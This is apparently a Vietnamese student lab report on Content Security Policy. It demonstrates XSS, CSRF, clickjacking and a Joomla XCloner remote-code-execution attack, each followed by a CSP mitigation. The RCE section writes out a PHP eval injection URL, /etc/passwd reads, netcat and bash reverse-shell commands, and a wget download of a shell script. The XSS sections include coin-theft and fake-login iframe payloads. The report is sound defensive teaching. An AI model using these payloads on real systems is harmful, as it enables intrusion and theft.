Joomla là một hệ thống quản lý nội dung (Content Management System - CMS) mã nguồn mở được sử dụng để tạo và quản lý các trang web. Joomla được viết bằng ngôn ngữ lập trình PHP và sử dụng cơ sở dữ liệu MySQL để lưu trữ dữ liệu. Joomla có thể được sử dụng để xây dựng nhiều loại trang web khác nhau, từ blog cá nhân đến các trang web doanh nghiệp lớn, các cổng thông tin, và các cửa hàng trực tuyến. Joomla đã được sử dụng để xây dựng hàng triệu trang web trên toàn thế giới và được đánh giá cao nhờ vào sự mạnh mẽ, linh hoạt và dễ sử dụng của nó.

XCloner là một công cụ sao lưu và khôi phục trang web được tích hợp vào các hệ thống quản trị nội dung như Joomla. Nó cho phép người dùng tạo bản sao lưu đầy đủ của trang web, bao gồm cả cơ sở dữ liệu và các tệp tin hệ thống, và sau đó khôi phục lại trang web từ các bản sao lưu này khi cần thiết. XCloner cung cấp một giao diện dễ sử dụng và linh hoạt, cho phép người dùng tùy chỉnh các thiết lập sao lưu và quản lý các bản sao lưu đã tạo một cách hiệu quả. Tính năng này không chỉ giúp bảo vệ dữ liệu của trang web khỏi các sự cố bất ngờ mà còn cho phép di chuyển trang web từ một máy chủ này sang một máy chủ khác một cách dễ dàng. Tuy nhiên, việc bảo mật XCloner là rất quan trọng, và cần được thực hiện cẩn thận để tránh các lỗ hổng bảo mật có thể bị khai thác.

**Cách hoạt động của kịch bản:**

Kịch bản tấn công này sẽ thực hiện khai thác lỗ hổng thực thi lệnh từ xa (RCE) trong thành phần XCloner Backup and Restore của Joomla. Kẻ tấn công có thể gửi yêu cầu HTTP đến tệp XCloner.php với các tham số đặc biệt, cho phép thay đổi biến output\_path và ghi đè lên tệp cấu hình của Joomla. Sau đó kẻ tấn công chèn mã độc vào tệp cấu hình và thực thi lệnh tùy ý trên máy chủ mục tiêu mà không cần xác thực. Sau khi khai thác thành công, kẻ tấn công có thể điều khiển máy chủ từ xa và thực hiện các lệnh hệ thống thông qua các yêu cầu HTTP tiếp theo.

### 3.3.2 Cơ chế ngăn chặn

Lỗ hổng bảo mật trong đoạn mã này xuất phát từ việc sử dụng trực tiếp dữ liệu đầu vào từ người dùng mà không có bất kỳ biện pháp xác thực hoặc lọc nào. Điều này cho phép kẻ tấn công có thể chèn mã độc hoặc thực hiện các hành động không mong muốn. Để khắc phục lỗi này ta cần:

Kiểm tra và lọc dữ liệu đầu vào: Trước khi sử dụng dữ liệu từ $\_REQUEST, hãy kiểm tra và lọc để đảm bảo chỉ nhận những giá trị hợp lệ.

Sử dụng các hàm bảo mật: Sử dụng các hàm bảo mật như htmlspecialchars, filter\_var, hoặc các hàm kiểm tra.

## 3.4. Kịch bản tấn công DOM-base XSS

### 3.4.1 Mô tả kịch bản tấn công

Trang web chơi game đã được đăng nhập sẵn có các chức năng xóa account, change password, tìm kiếm game, chuyển coin cho người chơi khác trong game.

Trang web này có chứa các lỗ hổng có thể khai thác để thực hiện DOM-Based XSS

Thực hiện tấn công DOM-Based XSS, tìm ra lỗ hổng để viết các CSP ngăn chặn các tấn công

Source trang web game: <https://github.com/ZeroDayArcade/HTML5_DOM-Based-XSS>

Link trang web: [gameweb213.vercel.app](https://gameweb213.vercel.app/)

Cách tấn công: Đưa các đoạn mã để thực hiện các chức năng của ứng dụng vào URL để khi người dùng nhấn vào thì thực hiện các chức năng đó (Chuyển coin, đổi mật khẩu, ...) hoặc chèn iframe giả mạo một chức năng nào đó hay đánh cặp cookie, ...

### 3.4.2 Cơ chế ngăn chặn

Sử dụng CSP ở <head> với nội dung như sau:

A computer screen with text on it

Description automatically generated

Hình 2 CSP ngăn chặn DOM-Based XSS

Trong đó:

default-src 'self'; Chỉ cho phép nội dung từ chính trang web.

script-src 'self'; Chỉ cho phép chạy các script từ nguồn là chính trang web.

img-src 'self' data:; Chỉ cho phép tải hình ảnh từ chính trang web và từ dữ liệu nội tuyến.

frame-src 'none'; Không cho phép tải bất kỳ frame nào.

base-uri 'self'; Chỉ cho phép các URL base từ chính trang web.

block-all-mixed-content; Ngăn chặn việc tải các nội dung không bảo mật (HTTP) trên một trang web được tải qua HTTPS. Điều này đảm bảo rằng tất cả các nội dung trên trang đều được tải qua kết nối bảo mật.\

## 3.5. Kịch bản tấn công Stored XSS

### 3.5.1 Mô tả kịch bản tấn công

Có 1 Web BloodBank nơi mà người ta có thể đăng kí nhận và hiến máu có sự kiểm soát của bệnh viện.

Kẻ tấn công sử dụng Stored XSS để lưu trữ mã javascript độc hại vào trường name trong database dẫn đến người dùng khi truy cập vào profile sẽ thực thi mã javascript đó.


Source code <https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip>

Cách tấn công: Kẻ tấn công nhập mã javascript độc hại vào trường name của web sau đó sẽ được lưu vào database

Môi trường thử nghiệm: Windows(Xampp), Apache 2.4.58, PHP 8.2.12  
CVE : CVE-2023-46020

### 3.5.2 Cơ chế ngăn chặn

Sử dụng CSP ở <header> với nội dung như sau:



Hình 3 Nội dung CSP thực hiện ngăn chặn stored XSS

Giải thích:

default-src 'self': Chỉ cho phép các tài nguyên mặc định được tải từ chính nguồn của trang web.

script-src 'self': Chỉ cho phép các tập lệnh (JavaScript) được tải từ chính nguồn của trang web.

style-src 'self': Chỉ cho phép các tệp CSS được tải từ chính nguồn của trang web.

img-src 'self': Chỉ cho phép các hình ảnh được tải từ chính nguồn của trang web.

connect-src 'self': Chỉ cho phép kết nối (ví dụ: AJAX, WebSockets) đến chính nguồn của trang web.

font-src 'self': Chỉ cho phép các tệp font được tải từ chính nguồn của trang web.

object-src 'none': Không cho phép nhúng các đối tượng như Flash, Silverlight.

form-action 'self': Chỉ cho phép gửi form đến chính nguồn của trang web.

# **Chương 4. Triển Khai và Đánh Giá Hệ Thống**

## 4.1. Triển khai kịch bản tấn công Stored XSS

### 4.1.1 Yêu cầu hệ thống

Sử dụng 1 máy server Window (Xampp) với Apache 2.4.58, PHP 8.2.12  
   
4.1.2 Triển khai chi tiết

Ta có 1 trang web Hệ thống quản lý bệnh viện - v1.0 sử dụng php với đoạn code updateuser như sau:

Ảnh có chứa văn bản, ảnh chụp màn hình

Mô tả được tạo tự động

Hình 4 Code update user

Đây là 1 đoạn code không an toàn và không được làm sạch dữ liệu đầu vào dẫn đến bị tấn công Stored XSS

Trước khi áp dụng CSP

Payload tấn công rname=test%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&remail=anhtueakiet%40gmail.com&rpassword=123&rphone=01312301231&rcity=34234eqwr&bg=B%2B&update=Update

Với payload này sẽ lưu vào đoạn script alert(1) vào database :

A screenshot of a computer

Description automatically generated

Hình 5 Mã javascript đã được thêm vào database

A screenshot of a computer

Description automatically generated

Hình 6 Database đã bị sửa đổi

Sau khi áp dụng CSP


Để chặn cuộc tấn công này chúng ta cần phải thêm các chính sách CSP

("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; form-action 'self';"));

Giải thích:

* default-src 'self': Chỉ cho phép các tài nguyên mặc định được tải từ chính nguồn của trang web.
* script-src 'self': Chỉ cho phép các tập lệnh (JavaScript) được tải từ chính nguồn của trang web.
* style-src 'self': Chỉ cho phép các tệp CSS được tải từ chính nguồn của trang web.
* img-src 'self': Chỉ cho phép các hình ảnh được tải từ chính nguồn của trang web.
* connect-src 'self': Chỉ cho phép kết nối (ví dụ: AJAX, WebSockets) đến chính nguồn của trang web.
* font-src 'self': Chỉ cho phép các tệp font được tải từ chính nguồn của trang web.
* object-src 'none': Không cho phép nhúng các đối tượng như Flash, Silverlight.
* form-action 'self': Chỉ cho phép gửi form đến chính nguồn của trang web.

Tiến hành thêm header csp vào và sửa lại code làm sạch dữ liệu



Hình 7 Code thêm CSP vào file update

A screenshot of a computer

Description automatically generated

Hình 8 Mã javascript không còn được thêm vào database

A screenshot of a computer

Description automatically generated

Hình 9 Database không còn lưu mã javascript

## 4.2. Triển khai kịch bản tấn công Cross-Site Request Forgery (CSRF)

### 4.2.1 Yêu cầu hệ thống


Sử dụng 1 kali image trên vmware workstation.

Thư viện: node.js, express body-parser cookie-parser.


### 4.2.2 Triển khai chi tiết

**Ta cần viết 2 trang file để thực hiện demo csrf.**

**Server.js là trang chính chủ bị lỗ hổng csrf:**



**malicious.js là trang của attacker thực hiện tấn công csrf :**



Khởi chạy 2 web server:

A screenshot of a computer

Description automatically generated

Hình 10 Khởi động 2 webserver.

**TRƯỚC KHI ÁP DỤNG CSP:**

Ta sẽ mở trang <http://example.com/change_email>, sau đó mở một tab khác và truy cập đến malicious.com:8080 thì trang malicious sẽ redirect đến trang example và thực hiện đổi email với phiên đăng nhập của người dùng đang có:

A screenshot of a computer

Description automatically generated

Hình 11 Thử nghiệm CSRF trên trang web của attacker.

**Để ngăn chặn điều này ta cần tạo các chính sách CSP như sau:**

("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self'; object-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self';"); next(); });

**Giải thích:**

default-src 'self': Chỉ cho phép các tài nguyên mặc định được tải từ chính nguồn của trang web.

script-src 'self': Chỉ cho phép các tập lệnh (JavaScript) được tải từ chính nguồn của trang web.

style-src 'self': Chỉ cho phép các tệp CSS được tải từ chính nguồn của trang web.

img-src 'self': Chỉ cho phép các hình ảnh được tải từ chính nguồn của trang web.

connect-src 'self': Chỉ cho phép kết nối (ví dụ: AJAX, WebSockets) đến chính nguồn của trang web.

font-src 'self': Chỉ cho phép các tệp font được tải từ chính nguồn của trang web.



object-src 'none': Không cho phép nhúng các đối tượng như Flash, Silverlight.

frame-ancestors 'none': Không cho phép trang web này được nhúng trong các khung (iframe) của trang khác.

form-action 'self': Chỉ cho phép gửi form đến chính nguồn của trang web.

base-uri 'self': Chỉ cho phép thẻ <base> trỏ đến chính nguồn của trang web.

**Áp dụng vào trang web:**



**SAU KHI ÁP DỤNG CSP:**

A screenshot of a computer

Description automatically generated

Hình 12 Thay đổi gmail trên trang chính chủ.

Từ trang của attacker:

A screenshot of a computer

Description automatically generated

Hình 13 Thay đổi gmail trên trang của attacker.

Như kết quả trên, yêu cầu từ trang malicious đến trang example đã bị từ chối do token csrf không hợp lệ. Vậy là ta đã thể hiện được chức năng của CSP trong viễn cảnh csrf attack thành công.

## 4.4. Triển khai kịch bản tấn công Clickjacking

### 4.4.1 Yêu cầu hệ thống

Phần demo được thực hiện và triển khai trên 1 kali image trên vmware workstation.

Demo này ta chỉ cần thư viện python3 là đủ.

### 4.4.2 Triển khai chi tiết

Viết file **vuln.html** với nội dung như sau:  
 

**TRƯỚC KHI ÁP DỤNG CSP:**

A screenshot of a video editing

Description automatically generated

Hình 14 Clickjacking với 1 hình ảnh bị làm mờ.

Đây là một trang web có một iframe bị ẩn sau một cái nút có tên là fun, khi người dùng click vào thực chất họ đã bị lừa click vào bức ảnh bị làm mờ đi, đây có thể coi là clickjacking người dùng và trong thực attacker có thể thực hiện bất kỳ hành động nào khác nên ta cần áp dụng CSP để có thể ngăn chặn tấn công này:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'">


**Giải thích:**

frame-ancestors 'none': Chính sách này đặt giá trị 'none', ngăn chặn trang web hiện tại được nhúng trong các khung (iframe) của trang khác.

Khi ta sử dụng frame-ancestors 'none', trình duyệt sẽ không cho phép trang web của mình được nhúng trong bất kỳ khung nào của trang web khác, ngay cả khi đó là trang web của chính mình.

Điều này giúp ngăn chặn clickjacking bằng cách không cho phép kẻ tấn công nhúng trang web của mình vào một khung ẩn trên trang web của họ và lừa người dùng tương tác với trang web của mình mà họ không biết.

**SAU KHI ÁP DỤNG CSP:**



Ta thử vào lại trang web bị chèn iframe ẩn:

A screenshot of a computer

Description automatically generated

Hình 15 Bức ảnh đã bị mất do CSP đã chặn iframe.

Như ta có thể thấy CSP đã được áp dụng và iframe ẩn đã bị chặn, điều này thể hiện tính năng của CSP trong việc bảo vệ trang web khỏi các cuộc tấn công clickjacking.

## 4.5. Triển khai kịch bản tấn công Remote Command Execution

### 4.5.1 Yêu cầu hệ thống

1 máy ubuntu 20.04: chạy apache, maria-db, php, các thư viện: php libapache2-mod-php php-mysql php-json php-curl php-zip php-xml php-mbstring php-intl, joomla1.5.15 chạy trên apache, plugin xcloner2.1 hỗ trợ cho joomla.

1 máy attacker dùng kali: joomlascan.

### 4.5.2 Triển khai chi tiết

Joomlascan:

A screenshot of a computer

Description automatically generated

Hình 16 Phiên bản joomscan

Tìm kiếm các file khai thác xcloner:

A screenshot of a computer

Description automatically generated

Hình 17 Các lỗ hổng liên quan đến xcloner

Tải file phù hợp cho lần attack này:

A screen shot of a computer

Description automatically generated

Hình 18 Tải file exploit cho kịch bản này

File có hướng dẫn về cách tấn công RCE Xem file 16246.py:

A screenshot of a computer program

Description automatically generated

Hình 19 Thông tin hướng dẫn chi tiết cho quá trình khai thác

Truy cập vào đường dẫn sau lên trình duyệt để kiểm tra xem lỗi hệ thống

<http://192.168.1.130/joomla/administrator/components/com_xcloner-backupandrestore/cloner.cron.php?config=../../../../../../../../etc/passwd>

A screenshot of a computer screen

Description automatically generated

Hình 20 Thông tin hệ thống

Thông điệp "Access Denied for ip 192.168.1.128!" chỉ ra rằng có một yêu cầu truy cập được thực hiện từ địa chỉ IP 192.168.1.128 nhưng nó đã bị từ chối.

[http://192.168.1.130/joomla](http://192.168.1.130/joomla/administrator/components/com_xcloner-backupandrestore/restore/XCloner.php?task=step2&output_url_pref=%27;+%7d+?%3E+%3C?php+eval($_GET%5b%27command%27%5d);+?%3E&output_path=../../../../)/administrator/components/com\_xcloner-backupandrestore/restore/XCloner.php? task=step2&output\_url\_pref=';+}+?>+<? php+eval($\_GET['command']);+?>&output\_path=../../../..

Đoạn url thực hiện một cuộc tấn công code injection thông qua một lỗ hổng tồn tại trong extension XCloner của Joomla. Giải thích:

**Chèn mã PHP vào URL:**

task=step2: Đây là một tham số GET thông thường, có thể được xử lý bởi tập tin XCloner.php

output\_url\_pref=';+}+?>+<?php+eval($\_GET['command']);+?>: Đây là phần chính của cuộc tấn công. Nó bao gồm một chuỗi lệnh độc hại được nhúng vào URL:

' và ;+}+?>: Những ký tự này kết thúc bất kỳ chuỗi hoặc khối mã nào đang mở, sau đó bắt đầu một chuỗi lệnh PHP mới.

<?php+eval($\_GET['command']);+?>: Đoạn mã PHP này sẽ được chèn vào và thực thi. Nó mở một khối mã PHP mới, sử dụng hàm eval() để thực thi mã PHP nhận từ tham số command của URL.

**Hàm eval() trong PHP:**

eval() là một hàm nguy hiểm trong PHP vì nó thực thi mã PHP được truyền vào dưới dạng một chuỗi. Ví dụ: eval('echo "Hello, World!";'); sẽ thực thi và in ra "Hello, World!".

Trong trường hợp này, eval($\_GET['command']); sẽ thực thi bất kỳ mã PHP nào được truyền vào tham số command trong URL.

output\_path=../../../../: Đây là tham số định nghĩa đường dẫn đầu ra của quá trình khôi phục. Nó có thể được sử dụng để chỉ định vị trí mà dữ liệu khôi phục sẽ được lưu trữ. Trong trường hợp này, đường dẫn này được thiết lập để truy cập vào các thư mục bên ngoài thư mục hiện tại, có thể để truy cập vào các thư mục nhạy cảm trên máy chủ.

A screenshot of a computer

Description automatically generated

Hình 21 Injection code thành công vào hệ thống

Truyền code thành công

Kiểm tra phiên bản của php:

<http://192.168.1.130/joomla/?command=phpinfo()>;

kiểm tra id của hệ thống:

<http://192.168.1.130/joomla/?command=system(%22id%22)>;

A screenshot of a computer

Description automatically generated

Hình 22 Kiểm tra id hệ thống

<http://192.168.1.130/joomla/?command=system(%22cat%20/etc/passwd%22)>;

A screen shot of a computer

Description automatically generated

Hình 23 Kiểm tra file /etc/passwd

Kiểm tra xem nc có được cài đặt trên hệ thông không:

A screenshot of a computer

Description automatically generated

Hình 24 Kiểm tra xem netcat được cài đặt không

Tiếp theo ta thử chạy lệnh nc để thực hiện nc để thực hiện backdoor trên server victim:

A screenshot of a computer

Description automatically generated

Hình 25 Tạo port lắng nghe phía attacker

192.168.1.130/joomla/?command=system("nc -e /bin/sh 192.168.1.128 4444");

A screenshot of a computer

Description automatically generated

Hình 26 Thực hiện kết nối ngược từ server

Kết quả không thấy victim kết nối tới:

A screenshot of a computer

Description automatically generated

Hình 27 Không có kết quả gì sau khi thực thi netcat

Ta thử cách khác

192.168.1.130/joomla/?command=system("bash -i >& /dev/tcp/192.168.1.128/4444 0>&1");

A screenshot of a computer

Description automatically generated

Hình 28 Chạy lại lệnh kết nối ngược bằng bash

Kết quả tương tự :

A screenshot of a computer

Description automatically generated

Hình 29 Không có kết quả cho quá trình kết nối ngược bash

Ta thử in dòng chữ hello ra:

A screenshot of a computer

Description automatically generated

Hình 30 Kiểm tra xem có thể thực thi được lệnh in ra màn hình không

Ta thấy chữ hello được in ra ta có ý tưởng mới là chèn chuỗi bash vào 1 file và chạy nó:

192.168.1.130/joomla/?command=system("echo 'bash -i >& /dev/tcp/192.168.1.128/4444 0>&1'> shell.sh");

Kiểm tra file shell.sh và kết quả là không tạo được file shell:

A screenshot of a computer

Description automatically generated

Hình 31 Tạo thử file shell.sh để kiểm tra

Tiếp theo ta thử cách tải file shell từ internet:

Tạo file shell.sh:

A screenshot of a computer

Description automatically generated

Hình 32 Tạo file revese shell từ attacker

192.168.1.130/joomla/?command=system("wget 192.168.1.128/shell.sh");

Và kiểm tra file shell:

A screenshot of a computer

Description automatically generated

Hình 33 kiểm tra file shell

Chạy file bằng url sau:

<http://192.168.1.130/joomla/?command=system(%22bash%20shell.sh%22)>;

kết quả tấn công thành công:

A screenshot of a computer

Description automatically generated

Hình 34 Tấn công thành công

Trước khi áp dụng content security policy:

A computer screen shot of a program code

Description automatically generated

Hình 35 Trước khi sử dụng CSP cho RCE

Đoạn code không có kiểm tra dữ liệu đầu vào.

Sau khi áp dụng content security policy:

A screenshot of a computer code

Description automatically generated

Hình 36 Sau khi sử dụng CSP cho RCE

Giải thích đoạn code content security policy:

default-src 'self': Chỉ cho phép tải các tài nguyên từ cùng một nguồn mà trang web đã được tải từ đó. Giúp ngăn chặn việc tải tài nguyên từ các nguồn không an toàn hoặc không đáng tin cậy. Có thể ngăn chặn việc tải các tệp script hoặc tài nguyên khác từ các nguồn không an toàn được chèn vào URL.

Thực hiện code injection lại bằng chuỗi:

http://localhost/joomla/administrator/components/com\_xcloner-backupandrestore/restore/XCloner.php? task=step2&output\_url\_pref=';+}+?>+<? php+eval($\_GET['abc']);+?>&output\_path=../../../..

Với biến abc sẽ được truyền lệnh vào để thực thi.

A screenshot of a computer

Description automatically generated

Hình 37 Truyền code lại cho phía server

Không thể hiển thị phiên bản php nữa:

A screenshot of a computer

Description automatically generated

Hình 38 Không thể kiểm tra thông tin phpinfo()

Không hiển thị lên chuỗi “Hello” nữa:


A screenshot of a computer screen

Description automatically generated

Hình 39 Không thể in ra dòng chữ hello

## 4.6. Triển khai kịch bản tấn công Dom-Base Cross-Site Scripting

Trang web ban đầu: <https://gameweb213.vercel.app/>



Hình 40 trang web game ban đầu

Xem source code của trang web và kiểm tra tệp main.js

A black background with text

Description automatically generated

Hình 41 Hình main.js trong source web

Ta thấy trong main.js đoạn mã

**var searchQuery = new URLSearchParams(queryString).get('search');** lấy giá trị của tham số 'search' đưa vào biến searchQuery từ URL mà không có bất kỳ biện pháp kiểm tra hay làm sạch dữ liệu



Hình 42 Hình code lấy chuỗi truy vấn ứng với tham số search sau dấu ? của URL trong main.js


Và biến này được đưa thẳng vào trang web thông qua .innerHTML

A screen shot of a computer code

Description automatically generated

Hình 43 Hình quá trình in chuỗi có chứa searchQuery trong main.js

Thấy trang web có chức năng chuyển coin cho người chơi khác, kiểm tra chức năng này:



Hình 44 Hình chức năng chuyển coin trong main.js


Lợi dụng chức năng này để chuyển tiền cho user có tên là “Evil”

Sử dụng thẻ <img>

https://gameweb213.vercel.app/?search=<img+src="notimage"+onerror="{document.getElementById('send\_to\_user').value='Evil';document.getElementById('num\_coins').value=100;sendCoins();}">

Thuộc tính onerror của thẻ <img> được thực thi khi xảy ra lỗi khi tải hình ảnh, dựa vào hàm sendCoin của trang web sử dụng thuộc tính này để chèn script độc hại

Hình ảnh ban đầu chạy khi không có CSP:




Hình 45 sau khi bị tấn công vào chức năng chuyển coin

Coin đã được chuyển sang ‘Evil’ không theo mong muốn của người dùng

Trang web áp dụng CSP: <https://gameapp213csp.vercel.app/>

Sau khi áp dụng CSP:



Hình 46 trang web sau khi áp dụng CSP

A screenshot of a computer

Description automatically generated

Hình 47 kết quả của CSP trả về bởi trình duyệt


Trong trường hợp này, CSP đang chặn việc thực thi các mã script và stylesheet được nhúng trực tiếp trong trang web (inline)

Sử dụng <img> và <iframe> để đánh lừa người dùng đánh cắp thông tin đăng nhập bằng cách thiết kế iframe giống chức năng đăng nhập của trang web thật và thay thế vào id của thẻ có chứa chức năng đăng nhập

https://gameweb213.vercel.app/?search= <img src="invalid-image-url.jpg" onerror="var iframe=document.createElement('iframe');iframe.src='https://giamaologin.vercel.app

';iframe.width='100%';iframe.height='500px';iframe.style.border='none';var targetElement=document.getElementById('search\_results');targetElement.innerHTML='';targetElement.appendChild(iframe);" alt="Image">

Trang web giả mạo login được chèn: <https://giamaologin.vercel.app/>




Hình 48 Hình web giả mạo login

*A screen shot of a computer


Description automatically generated*

Hình 49 id của thẻ bị thay thế bởi iframe




Hình 50 Hình sau khi bị tấn công thay thế <iframe>

Sau khi áp dụng CSP:



Hình 51 Hình sau khi áp dụng CSP



Hình 52 kết quả của CSP trả về bởi trình duyệt

Sau khi áp dụng CSP nó đã chặn script có nguồn là main.js. Nó đã chặn việc thực thi các mã script và stylesheet được nhúng trực tiếp trong trang web (inline)

# **Chương 5. Kết Luận và Đánh Giá**

## 5.1. Phân tích ưu điểm của cơ chế bảo mật CSP

Content Security Policy (CSP) là một cơ chế bảo mật quan trọng với nhiều ưu điểm nổi bật, giúp tăng cường bảo vệ cho các ứng dụng web. Một số ưu điểm của Content Security Policy:

1. Giảm thiểu nguy cơ tấn công XSS (Cross-Site Scripting):
2. Kiểm soát nguồn tài nguyên:
3. Giảm thiểu nguy cơ tấn công RCE, Clickjacking
4. Tăng cường bảo vệ dữ liệu người dùng.

## 5.2. Đánh giá hạn chế và khó khăn

Content Security Policy là một cơ chể bảo mật quan trong nhưng cũng có 1 số hạn chế:

1. Không ngăn chặn được hoàn toàn tấn công SQLi
2. Phức tạp trong việc triển khai
3. Có thể ảnh hưởng tới hiệu suất của web và khó bảo trì

### **5.3. Khả năng mở rộng và phát triển trong tương** lai

Mặc dù CSP hiện tại có một số hạn chế, nhưng nó vẫn là một công cụ quan trọng và đang được cải thiện liên tục. Dưới đây là một số hướng phát triển và mở rộng tiềm năng của CSP:

1. Tích hợp với các công nghệ mới: Với sự phát triển của các công nghệ web mới như WebAssembly, CSP cần được cập nhật để hỗ trợ và bảo vệ các tài nguyên mới này.
2. Cải thiện cấu hình tự động: Các công cụ và dịch vụ tự động hóa quá trình cấu hình CSP có thể giúp giảm bớt gánh nặng cho các nhà phát triển và quản trị viên.
3. Tích hợp với các công cụ bảo mật khác: CSP có thể được kết hợp với các công cụ bảo mật khác như WAF để cung cấp một lớp bảo vệ toàn diện hơn cho ứng dụng web.
4. Phát triển các tiêu chuẩn mới: Các tiêu chuẩn mới như Trusted Types có thể mở rộng các khả năng của CSP, cho phép kiểm soát chặt chẽ hơn đối với các script được nhúng vào trang web.
5. Hỗ trợ tốt hơn cho các trình duyệt cũ: Mặc dù hầu hết các trình duyệt hiện đại đều hỗ trợ CSP, nhưng vẫn cần cải thiện sự tương thích với các trình duyệt cũ hơn.
6. Tích hợp với các quy trình phát triển ứng dụng: CSP có thể được đưa vào các quy trình DevSecOps để đảm bảo an ninh ngay từ đầu trong vòng đời phát triển ứng dụng.

Tài Liệu Tham Khảo

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)

[Cross Site Request Forgery (CSRF) | OWASP Foundation](https://owasp.org/www-community/attacks/csrf)

[Cross Site Scripting (XSS) | OWASP Foundation](https://owasp.org/www-community/attacks/xss/)

[Clickjacking | OWASP Foundation](https://owasp.org/www-community/attacks/Clickjacking)

[Code Injection | OWASP Foundation](https://owasp.org/www-community/attacks/Code_Injection)

[DOM Based XSS | OWASP Foundation](https://owasp.org/www-community/attacks/DOM_Based_XSS)

[What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy (portswigger.net)](https://portswigger.net/web-security/cross-site-scripting/dom-based)

DEMO CSRF: <https://drive.google.com/file/d/1M8OGHbibf8yVS4TPkDl5xFE5pkM288kC/view?usp=sharing>

DEMO CLICKJACKING: <https://drive.google.com/file/d/1WweuNAO6k_TlHN99shhonqZpnhT6LAhJ/view?usp=sharing>

Video demo RCE: <https://drive.google.com/drive/folders/1T367_NK2b7XFBG4YsYVScDRP8T3xkMxp?usp=drive_link>

Video demo Stored XSS

<https://drive.google.com/drive/folders/17ZUv9F0jYJq1tCBKl5_uBFTHSS8Uz4zL?usp=sharing>

Video demo DOM-Based XSS: <https://drive.google.com/file/d/1_NHp4gu_VtVtoSM9Lr4PqibWn1qpIREA/view?usp=sharing>

**~HẾT~**

1. Ghi nội dung công việc, các kịch bản trong bài Thực hành [↑](#footnote-ref-2)